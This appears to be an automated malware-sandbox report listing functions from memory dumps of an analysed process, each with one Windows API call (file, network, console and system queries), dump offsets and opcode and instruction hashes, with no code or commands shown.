
Uniqueness

Uniqueness Score: -1.00%

Function 028D0886, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,00000E9C,D560BF94,00000000,00000000,00000000,00000000), ref: 028D08E5

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 5c16f898e0b16b45867cd4cc438d772dd9bfeadf286009791aaaca1326a6e059
Instruction ID: 8946e910c02b3253cc863b2b591facd6354e4e20bdeb1a61e711516a26540d13
Opcode Fuzzy Hash: 5c16f898e0b16b45867cd4cc438d772dd9bfeadf286009791aaaca1326a6e059
Instruction Fuzzy Hash: 9F11CE7A400704EFFB21CF51DC85FAAFBA8EF14721F14856AED499B241C675A908CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 01D9BA10, Relevance: 1.6, APIs: 1, Instructions: 60fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?,?), ref: 01D9BA7E

Memory Dump Source

Source File: 00000018.00000002.2297243850.0000000001D9A000.00000040.00000001.sdmp, Offset: 01D9A000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 8d05c0c23f8d1d546da888249d690cfa242ec895f94fadcbe429e343e6a8d379
Instruction ID: eb5537ec35c9b86ea4018fe424831c8b124c5894181e4759865fd53739dce995
Opcode Fuzzy Hash: 8d05c0c23f8d1d546da888249d690cfa242ec895f94fadcbe429e343e6a8d379
Instruction Fuzzy Hash: 91119D72508380AFDB22CF65DC44B52FFF4EF09210F09849EE9898B662D375A418CB61

Uniqueness

Uniqueness Score: -1.00%

Function 028D47FA, Relevance: 1.6, APIs: 1, Instructions: 59encryptionCOMMON

Download Yara Rule

APIs

CertVerifyCertificateChainPolicy.CRYPT32(?,00000E9C,D560BF94,00000000,00000000,00000000,00000000), ref: 028D4856

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: CertCertificateChainPolicyVerify
String ID:
API String ID: 3930008701-0
Opcode ID: df33491499818b61ab0c93d5dd9c15d6b0c89c423b9f42e2750dc100c9b49b59
Instruction ID: f482c704033dd7f520e1bc2278b23212b746bd9359cf3617beaf5d35d6efe126
Opcode Fuzzy Hash: df33491499818b61ab0c93d5dd9c15d6b0c89c423b9f42e2750dc100c9b49b59
Instruction Fuzzy Hash: FA11E379500784EFEB20DF10DC45FA6FBA8EF04760F14846AED499A241D774A508CB71

Uniqueness

Uniqueness Score: -1.00%

Function 028D28E2, Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

shutdown.WS2_32(?,00000E9C,D560BF94,00000000,00000000,00000000,00000000), ref: 028D2938

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: shutdown
String ID:
API String ID: 2510479042-0
Opcode ID: 8d25efad2cd226159c2559d7717f806e9ac337350336a545cf6f60db92fbf671
Instruction ID: e85d1423c4b5acbc21ebb163cf5354f35e02492d756da0badd1500bf5b39f369
Opcode Fuzzy Hash: 8d25efad2cd226159c2559d7717f806e9ac337350336a545cf6f60db92fbf671
Instruction Fuzzy Hash: 2A11CE79500304EFFB20DF15DC85FAAFB98EF04721F1484AAED48DB246D674A909CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 028D3AFA, Relevance: 1.6, APIs: 1, Instructions: 56COMMON

Download Yara Rule

APIs

GetAdaptersAddresses.IPHLPAPI(?,00000E9C,D560BF94,00000000,00000000,00000000,00000000), ref: 028D3B59

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: AdaptersAddresses
String ID:
API String ID: 2506852604-0
Opcode ID: 475e8d95bd341667d580770f1d1901b18320fbe2e209b6ab36fc8cf9c3c2d65e
Instruction ID: 9fed3eac62018076c66eecb7849f372170058d699045a980288754b30dd96bee
Opcode Fuzzy Hash: 475e8d95bd341667d580770f1d1901b18320fbe2e209b6ab36fc8cf9c3c2d65e
Instruction Fuzzy Hash: E211CE7A100704EFFB219F05DC85F6AFBA8EF04720F04859AED499B251C674A909CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 028D1246, Relevance: 1.6, APIs: 1, Instructions: 56libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,00000E9C), ref: 028D12AF

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ce42a69e901a06d5f6fb11de042be154e62989c0bb7328c92ff2e2d540ea69a8
Instruction ID: 87ec189a0f337e6367f0eb2e54e31b69f836e3f8bb58576bb5f352eac3b2f501
Opcode Fuzzy Hash: ce42a69e901a06d5f6fb11de042be154e62989c0bb7328c92ff2e2d540ea69a8
Instruction Fuzzy Hash: EC11E139600304EFFB20DF15DC85BA6FB98DF04720F14809AFD089A281D6B5AA08CA66

Uniqueness

Uniqueness Score: -1.00%

Function 01D9A33C, Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

WerSetFlags.KERNEL32 ref: 01D9A39C

Memory Dump Source

Source File: 00000018.00000002.2297243850.0000000001D9A000.00000040.00000001.sdmp, Offset: 01D9A000, based on PE: false

Similarity

API ID: Flags
String ID:
API String ID: 3401871038-0
Opcode ID: f52220349043930ae8e277dce0e3a634997035a2677796ef1da1afe06c650cb1
Instruction ID: 64f6d969d172d40886b3f3cb23263f23ca39ffa7e83fc844573d125e6612e53f
Opcode Fuzzy Hash: f52220349043930ae8e277dce0e3a634997035a2677796ef1da1afe06c650cb1
Instruction Fuzzy Hash: BA118C714093C0AFEB128B25DC54AA2BFB4DF47624F0880CAEDC44F263D265A808DB72

Uniqueness

Uniqueness Score: -1.00%

Function 028D2EBE, Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

RasConnectionNotificationA.RASAPI32(?,00000E9C,D560BF94,00000000,00000000,00000000,00000000), ref: 028D2F17

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: ConnectionNotification
String ID:
API String ID: 1402429939-0
Opcode ID: 5339ed391665903e061c660f1f6c3a9750c24c67432e3b6c74e2a1f069006fb5
Instruction ID: 555598fda262930f21e160cf5bc5edb58587bcc32adaa44f7337e710ad633b88
Opcode Fuzzy Hash: 5339ed391665903e061c660f1f6c3a9750c24c67432e3b6c74e2a1f069006fb5
Instruction Fuzzy Hash: 0811ED79100704EFFB218F11DC85F66FBA8EF04720F04849AED089B656D774A909CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 028D05E8, Relevance: 1.6, APIs: 1, Instructions: 54fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNEL32(?,D560BF94,00000000,?,?,?,?,?,?,?,?,73F33C58), ref: 028D0640

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: FileUnmapView
String ID:
API String ID: 2564024751-0
Opcode ID: ca93d59fe7e99d3b93f837dbe9b7a0a9cfd95e165d5b19496b8f06f9e94c55d4
Instruction ID: 6b215f3dcd11015afc1bf503c075cfa1d25195d90c454218d8b2111ef25018a8
Opcode Fuzzy Hash: ca93d59fe7e99d3b93f837dbe9b7a0a9cfd95e165d5b19496b8f06f9e94c55d4
Instruction Fuzzy Hash: 941102795093C09FD7128F15DC44B52FFB4DF52220F0880DBEC898B663D264A808CB62

Uniqueness

Uniqueness Score: -1.00%

Function 028D117C, Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

CoGetObjectContext.OLE32(?,?), ref: 028D11E3

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: ContextObject
String ID:
API String ID: 3343934925-0
Opcode ID: 2e32a73205db7efc98f7b6fa4c903216f1e7a0d55345e7fdf2f54d07cd8ed424
Instruction ID: 6bfa23aa9cc2501b053415ee2baf286da90befb84b1e8f23b42f6f2590b2f5d3
Opcode Fuzzy Hash: 2e32a73205db7efc98f7b6fa4c903216f1e7a0d55345e7fdf2f54d07cd8ed424
Instruction Fuzzy Hash: 1F116D754093849FD7128F25DC49B52FFB4EF06624F0984DBED888B263D269A849CB62

Uniqueness

Uniqueness Score: -1.00%

Function 028D3682, Relevance: 1.6, APIs: 1, Instructions: 53networkCOMMON

Download Yara Rule

APIs

GetNetworkParams.IPHLPAPI(?,00000E9C,D560BF94,00000000,00000000,00000000,00000000), ref: 028D36D8

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: NetworkParams
String ID:
API String ID: 2134775280-0
Opcode ID: 7669aafc2a17594b645b02091a9f6b12f992382d9d22ddd6b4c2e8deb382ff5b
Instruction ID: 1da6e20e0c44d873ccc3b9f4afce6c682387ef21c0b95ce59d796de7ae1a6c87
Opcode Fuzzy Hash: 7669aafc2a17594b645b02091a9f6b12f992382d9d22ddd6b4c2e8deb382ff5b
Instruction Fuzzy Hash: 1E01D279504704EFFB209F05DC85F66FBA8EF04724F14C09AED089B282D674A908CEB2

Uniqueness

Uniqueness Score: -1.00%

Function 028D092F, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,D560BF94,00000000,?,?,?,?,?,?,?,?,73F33C58), ref: 028D099C

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: dac7b0d0ac8fab3c8189655305a03bee1cdd9052112e90f2c628c972b26ffa07
Instruction ID: 5fff491619c33eca9b0f979318d0dad58dc99b3eca6e9d2b2a9d81e4c13b220c
Opcode Fuzzy Hash: dac7b0d0ac8fab3c8189655305a03bee1cdd9052112e90f2c628c972b26ffa07
Instruction Fuzzy Hash: 51119D754097C09FE7228B25DC55B92BFA4EF17324F0980DAD9888B263C265A908CB62

Uniqueness

Uniqueness Score: -1.00%

Function 01D9AAD2, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(?,?,?), ref: 01D9AB1A

Memory Dump Source

Source File: 00000018.00000002.2297243850.0000000001D9A000.00000040.00000001.sdmp, Offset: 01D9A000, based on PE: false

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: 72e125a6e5414ba86831e9cdc403ac405db6b9557b64c2b18fe9e8f8be07309f
Instruction ID: 13558e0b173191bf2c62e47b6edfe4efe6f1e8211ce099b5deec2e8ffb51bd4d
Opcode Fuzzy Hash: 72e125a6e5414ba86831e9cdc403ac405db6b9557b64c2b18fe9e8f8be07309f
Instruction Fuzzy Hash: E4115EB26007009FEB20DF69DC85B56FBD8EB15625F08C46ADD49CB642D674E404CA61

Uniqueness

Uniqueness Score: -1.00%

Function 01D9AA0F, Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 01D9AA71

Memory Dump Source

Source File: 00000018.00000002.2297243850.0000000001D9A000.00000040.00000001.sdmp, Offset: 01D9A000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
Opcode ID: 2c25ff6768b76923510ce3603438e9e9c90e6f60b309a52524a42459bf8112af
Instruction ID: e7d0d86f9e00718a2aa4b14dd90889c89e73cf36ec7018840dec347b268d01d8
Opcode Fuzzy Hash: 2c25ff6768b76923510ce3603438e9e9c90e6f60b309a52524a42459bf8112af
Instruction Fuzzy Hash: A811E37640D7C09FDB128B15DC85B92BFB0EF17220F0980DBDD848F263D268A909CB62

Uniqueness

Uniqueness Score: -1.00%

Function 028D07C6, Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,00000E9C,D560BF94,00000000,00000000,00000000,00000000), ref: 028D0819

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: 1d9c89fc9beb0b5125061c5ae11f29e0c4a8d684e53c5f12d5a3a53a59575427
Instruction ID: f580522195ff25b4d058d016ccb30d6355130fefb67d44d2015dd08f5c5fdde3
Opcode Fuzzy Hash: 1d9c89fc9beb0b5125061c5ae11f29e0c4a8d684e53c5f12d5a3a53a59575427
Instruction Fuzzy Hash: C3019E79540704EFFB20DF15DC85FAAFB98DF44725F14C0AAED099B281D674A908CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 028D4A52, Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 028D4A98

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: ConsoleWrite
String ID:
API String ID: 2657657451-0
Opcode ID: c1afb98b85f6457666fd8ee670d0d1196a2077edcdcf8e3a594e460a16b878da
Instruction ID: ecba2757dfb46ac52f8318cb5322123d6f5015cc61c8f656f86da549c50be9ba
Opcode Fuzzy Hash: c1afb98b85f6457666fd8ee670d0d1196a2077edcdcf8e3a594e460a16b878da
Instruction Fuzzy Hash: 35118E7A500700DFEB208F15DC85B66FBA4EF14224F08C46ADD49CB651D371E428DB61

Uniqueness

Uniqueness Score: -1.00%

Function 01D9AB75, Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 01D9ABC9

Memory Dump Source

Source File: 00000018.00000002.2297243850.0000000001D9A000.00000040.00000001.sdmp, Offset: 01D9A000, based on PE: false

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: f584c6d5deaedd5adb5adb4cd8fae84196c73e11b55dcf8a281365368a485d47
Instruction ID: f4e46dd148e284e266463461ee3c6805a2950cdbd16a9cd9a6ffa33d18d1104b
Opcode Fuzzy Hash: f584c6d5deaedd5adb5adb4cd8fae84196c73e11b55dcf8a281365368a485d47
Instruction Fuzzy Hash: D711CEB65093809FDB11CF25DC85B82BFA4EF12224F0984ABED488F253D274A508CB61

Uniqueness

Uniqueness Score: -1.00%

Function 01D9BA32, Relevance: 1.5, APIs: 1, Instructions: 49fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?,?), ref: 01D9BA7E

Memory Dump Source

Source File: 00000018.00000002.2297243850.0000000001D9A000.00000040.00000001.sdmp, Offset: 01D9A000, based on PE: false

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: c851c16b3b4178e65cd3fc9058e8cc38494a6f50c07901707e60deffc5b67a9e
Instruction ID: 8d36d02a1e522e65e71f2480c461da763017aaea90f38aa7064fbc29305304ac
Opcode Fuzzy Hash: c851c16b3b4178e65cd3fc9058e8cc38494a6f50c07901707e60deffc5b67a9e
Instruction Fuzzy Hash: 4D117C72500704DFEF21CF59D884B52FBE4EF18621F0884AADD898A612D275E414DB61

Uniqueness

Uniqueness Score: -1.00%

Function 028D0196, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

SetConsoleTitleW.KERNEL32(?), ref: 028D01D0

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: ConsoleTitle
String ID:
API String ID: 3358957663-0
Opcode ID: 2a7c1ae1b2299b700b9be90147e9d60627657b414f4bf242f5f15fffe2dbde4b
Instruction ID: 58ca46fdc9af1d185419fb16d56057f10321697744688ac5bdfdd19d095733fd
Opcode Fuzzy Hash: 2a7c1ae1b2299b700b9be90147e9d60627657b414f4bf242f5f15fffe2dbde4b
Instruction Fuzzy Hash: 8C015E796017449FEB10DF6ADC857A6FB98DB01725F18C4AADC09CB642D774E408CA62

Uniqueness

Uniqueness Score: -1.00%

Function 028D104E, Relevance: 1.5, APIs: 1, Instructions: 47encryptionCOMMON

Download Yara Rule

APIs

CertGetCertificateChain.CRYPT32(?,00000E9C,?,?), ref: 028D109E

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: CertCertificateChain
String ID:
API String ID: 3019455780-0
Opcode ID: 5a3ae7ac81f982de4e210865b4d003db74926b933cdaba6006dc740b67086f95
Instruction ID: 88217788bc004b7e9071de35960be4dfa6230cad4c3336b062b78279dcea7a47
Opcode Fuzzy Hash: 5a3ae7ac81f982de4e210865b4d003db74926b933cdaba6006dc740b67086f95
Instruction Fuzzy Hash: 7A017171900600AFE310DF16DC46B66FBA8FB84A20F14816AED089B741D635B515CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 01D9A1EE, Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

EnumWindows.USER32(?,00000E9C,?,?), ref: 01D9A23E

Memory Dump Source

Source File: 00000018.00000002.2297243850.0000000001D9A000.00000040.00000001.sdmp, Offset: 01D9A000, based on PE: false

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 8c6f15f805e91436061c78e62d9a38af56f53fd3486f131174356b0c984d8571
Instruction ID: 29750be15e607c6b66b5bce9f999215b1440aa05b06a41db1a426a5e21c31596
Opcode Fuzzy Hash: 8c6f15f805e91436061c78e62d9a38af56f53fd3486f131174356b0c984d8571
Instruction Fuzzy Hash: 2D018471900600AFE310DF16DC46B76FBA8FB84A20F14816AED089B741D635F515CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 01D9BAFA, Relevance: 1.5, APIs: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 01D9BB2F

Memory Dump Source

Source File: 00000018.00000002.2297243850.0000000001D9A000.00000040.00000001.sdmp, Offset: 01D9A000, based on PE: false

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: 0a8a1c0f9233263cfee9ad533a65db5d964ea6b5890202e089d8fe00b427edcc
Instruction ID: 05ed5de1e14ac08a40a454b2cf41f9163ca9154f4e17f557520fb600b9df963e
Opcode Fuzzy Hash: 0a8a1c0f9233263cfee9ad533a65db5d964ea6b5890202e089d8fe00b427edcc
Instruction Fuzzy Hash: 1F01DF71500300DFEF20CF19EC85BA5FBA4EF04624F08C4ABDD498B296D275E804CB61

Uniqueness

Uniqueness Score: -1.00%

Function 028D04B2, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SHGetFolderPathW.SHELL32(?,00000E9C,?,?), ref: 028D0502

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: 53da6f117d8803d413ce41f3af82f7fc6100978f105592a39543a0a98c1a5765
Instruction ID: 9009e701b4d95d56cb6cb18f050de366174674a379da43f1e4ee28328c482de4
Opcode Fuzzy Hash: 53da6f117d8803d413ce41f3af82f7fc6100978f105592a39543a0a98c1a5765
Instruction Fuzzy Hash: 9C016271900601AFD314DF16DC46B26FBA4FB88B20F14815AED085B741D675F515CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 028D1F5E, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,?,?,?,?), ref: 028D1F9C

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 8910d30fadb6d5e7ec335e78d9caf997ebf0173592a62a02ce7fa78b07bc73a6
Instruction ID: 593dca2b78c2e01bd46286bd24646ea67dcb2374c04b1209965e25f3241286f2
Opcode Fuzzy Hash: 8910d30fadb6d5e7ec335e78d9caf997ebf0173592a62a02ce7fa78b07bc73a6
Instruction Fuzzy Hash: CD019E39500704DFEB20DF55D888B65FFA0EF14320F08C8AAED4D8BA12C375A418DB62

Uniqueness

Uniqueness Score: -1.00%

Function 028D0F76, Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(?,D560BF94,00000000,?,?,?,?,?,?,?,?,73F33C58), ref: 028D0FB0

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: DriveType
String ID:
API String ID: 338552980-0
Opcode ID: 946a166c1a67e3789ef361c36be52459d8a251ab2ef6c367c268cf4b3c803a75
Instruction ID: ad1b99e0ee1cf4b1df0e4a43d3d75bd4587d1ac700acf6391b5f6287b40be19d
Opcode Fuzzy Hash: 946a166c1a67e3789ef361c36be52459d8a251ab2ef6c367c268cf4b3c803a75
Instruction Fuzzy Hash: 2D017C79504344DFEB20DF16D885B6AFB94EB00725F18C4AADC48CF686D374E408CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 01D9A8FA, Relevance: 1.5, APIs: 1, Instructions: 43threadCOMMON

Download Yara Rule

APIs

SetThreadPreferredUILanguages.KERNEL32(?,00000E9C,?,?), ref: 01D9A94A

Memory Dump Source

Source File: 00000018.00000002.2297243850.0000000001D9A000.00000040.00000001.sdmp, Offset: 01D9A000, based on PE: false

Similarity

API ID: LanguagesPreferredThread
String ID:
API String ID: 842807343-0
Opcode ID: 0c4bf5e8473297074ee517232cba2004e5cb573604dc8b30c211c835c4f02dce
Instruction ID: 136eea480663e9202038cfeefdc2156c4e9087cc4eb6c58e40818f01b1686a73
Opcode Fuzzy Hash: 0c4bf5e8473297074ee517232cba2004e5cb573604dc8b30c211c835c4f02dce
Instruction Fuzzy Hash: 68016271900601AFD314DF16DC46B26FBA4FB88B20F14815AED085B741D675F515CBE6

Uniqueness

Uniqueness Score: -1.00%

Function 01D9A996, Relevance: 1.5, APIs: 1, Instructions: 43fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNEL32(?,D560BF94,00000000,?,?,?,?,?,?,?,?,73F33C58), ref: 01D9A9C8

Memory Dump Source

Source File: 00000018.00000002.2297243850.0000000001D9A000.00000040.00000001.sdmp, Offset: 01D9A000, based on PE: false

Similarity

API ID: FileUnmapView
String ID:
API String ID: 2564024751-0
Opcode ID: 934bfad6b18c4188ca312ff202dcd116c38c834dc77539d685dd87e4e15ff374
Instruction ID: 0fd00f639aceac2196799253422d2e333c74096bdc90e2c81c7270f5d67c8b57
Opcode Fuzzy Hash: 934bfad6b18c4188ca312ff202dcd116c38c834dc77539d685dd87e4e15ff374
Instruction Fuzzy Hash: DC01DB76600740DFEB20DF19D8897A6FBA4EF05220F08C0AADC098B242D279E804CB62

Uniqueness

Uniqueness Score: -1.00%

Function 028D060E, Relevance: 1.5, APIs: 1, Instructions: 39fileCOMMON

Download Yara Rule

APIs

UnmapViewOfFile.KERNEL32(?,D560BF94,00000000,?,?,?,?,?,?,?,?,73F33C58), ref: 028D0640

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: FileUnmapView
String ID:
API String ID: 2564024751-0
Opcode ID: ffb321838a7f6ea3dc73b6087bfbc4c11cb9a46696291901e4e5460ed395e15e
Instruction ID: 6c75f1f7a4d8081c81cb25447239e75644c388472cac804e0c09516bb867d9af
Opcode Fuzzy Hash: ffb321838a7f6ea3dc73b6087bfbc4c11cb9a46696291901e4e5460ed395e15e
Instruction Fuzzy Hash: EB01F47D504704CFEB209F15E885765FBA0DF41725F08C0AADC098B752D374E408CEA2

Uniqueness

Uniqueness Score: -1.00%

Function 01D9AB9A, Relevance: 1.5, APIs: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 01D9ABC9

Memory Dump Source

Source File: 00000018.00000002.2297243850.0000000001D9A000.00000040.00000001.sdmp, Offset: 01D9A000, based on PE: false

Similarity

API ID: DrivesLogical
String ID:
API String ID: 999431828-0
Opcode ID: 35893d03342a87f94d4f2958fd3b7fc5ebe411986fd588d4dea8eef846c62e0e
Instruction ID: 87f33b80ddf0146a04b7d9042457f2046ad364f4e8a472ee2e6f1ed1c3b6e66a
Opcode Fuzzy Hash: 35893d03342a87f94d4f2958fd3b7fc5ebe411986fd588d4dea8eef846c62e0e
Instruction Fuzzy Hash: 9201DC32504780CFEF10DF19D889BA1FBA4EF04225F08C8AADD088F202D274A404CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 02878490, Relevance: 1.5, Strings: 1, Instructions: 286COMMON

Download Yara Rule

Strings

:@lq, xrefs: 0287813C

Memory Dump Source

Source File: 00000018.00000002.2329666300.0000000002870000.00000040.00000001.sdmp, Offset: 02870000, based on PE: false

Similarity

API ID:
String ID: :@lq
API String ID: 0-537014040
Opcode ID: b190a392f51f35970dd186d64c0f79725ae3a3e78b7664ec357b735584987ca1
Instruction ID: ebcecd11bb6dd0801f029d89e41a328e207030831cf016bce6af42fa52a2b347
Opcode Fuzzy Hash: b190a392f51f35970dd186d64c0f79725ae3a3e78b7664ec357b735584987ca1
Instruction Fuzzy Hash: 25D14878A06209CFDB00DF65D548BA9BBF1FB84315F45C0AAE809DB611DB78DD81EB42

Uniqueness

Uniqueness Score: -1.00%

Function 028D11AE, Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

CoGetObjectContext.OLE32(?,?), ref: 028D11E3

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: ContextObject
String ID:
API String ID: 3343934925-0
Opcode ID: 922a14cc010a3536c87b16b8d2d85716f3956951ace518ba1f260136060c9dab
Instruction ID: ed65e8c302962ae9b463da7a68576f8156f0795420dcbb1943d13fc1bebcb472
Opcode Fuzzy Hash: 922a14cc010a3536c87b16b8d2d85716f3956951ace518ba1f260136060c9dab
Instruction Fuzzy Hash: A4F08C39504744DFEB20CF05D889B65FBA0EF04625F08C09AED4D8B752D375A408CEA2

Uniqueness

Uniqueness Score: -1.00%

Function 028D1116, Relevance: 1.5, APIs: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

SetThreadUILanguage.KERNEL32(?), ref: 028D1148

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: LanguageThread
String ID:
API String ID: 243849632-0
Opcode ID: d6daa99f09bed9d994d3d6a18a79dd66bb18a4b7544380292b290af6ff767ca2
Instruction ID: abefb5c96e6ee1ba0454f6480574fb73cbef6842c9eea3a356f3a3bdf7d15e63
Opcode Fuzzy Hash: d6daa99f09bed9d994d3d6a18a79dd66bb18a4b7544380292b290af6ff767ca2
Instruction Fuzzy Hash: 69F0A939504744DFEB20CF05D889766FBA4EF05A26F08C19ADD4D8B712D679A448CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 028D096A, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,D560BF94,00000000,?,?,?,?,?,?,?,?,73F33C58), ref: 028D099C

Memory Dump Source

Source File: 00000018.00000002.2329815759.00000000028D0000.00000040.00000001.sdmp, Offset: 028D0000, based on PE: false

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 032a04db5aed700df4c894da6cf61e95738efa6bde06a1e511350a493da2a9bc
Instruction ID: dbd5395a11b352c040ec27105bcb1c9debd588db58acd421763087f5fc570976
Opcode Fuzzy Hash: 032a04db5aed700df4c894da6cf61e95738efa6bde06a1e511350a493da2a9bc
Instruction Fuzzy Hash: 03F0C239504744EFEB20DF06D885765FBA0EF14726F08C09ADD498B316D375A408CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 01D9A36A, Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

WerSetFlags.KERNEL32 ref: 01D9A39C

Memory Dump Source

Source File: 00000018.00000002.2297243850.0000000001D9A000.00000040.00000001.sdmp, Offset: 01D9A000, based on PE: false

Similarity

API ID: Flags
String ID:
API String ID: 3401871038-0
Opcode ID: 8fd04d9786d86fff9fcc3dc17ba39f7fe6229ae8678ff8afc295085ca73bc924
Instruction ID: a14de9a159235594f8c7f65fab5fde75310eb3a66f0590ea4e295f4a611b1385
Opcode Fuzzy Hash: 8fd04d9786d86fff9fcc3dc17ba39f7fe6229ae8678ff8afc295085ca73bc924
Instruction Fuzzy Hash: 8FF0CD36904740DFEF20DF4AD889765FBA0EF04721F08C09ADD494B312D3B9E808CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 01D9AA42, Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 01D9AA71

Memory Dump Source

Source File: 00000018.00000002.2297243850.0000000001D9A000.00000040.00000001.sdmp, Offset: 01D9A000, based on PE: false

Similarity

API ID: ConsoleOutput
String ID:
API String ID: 3985236979-0
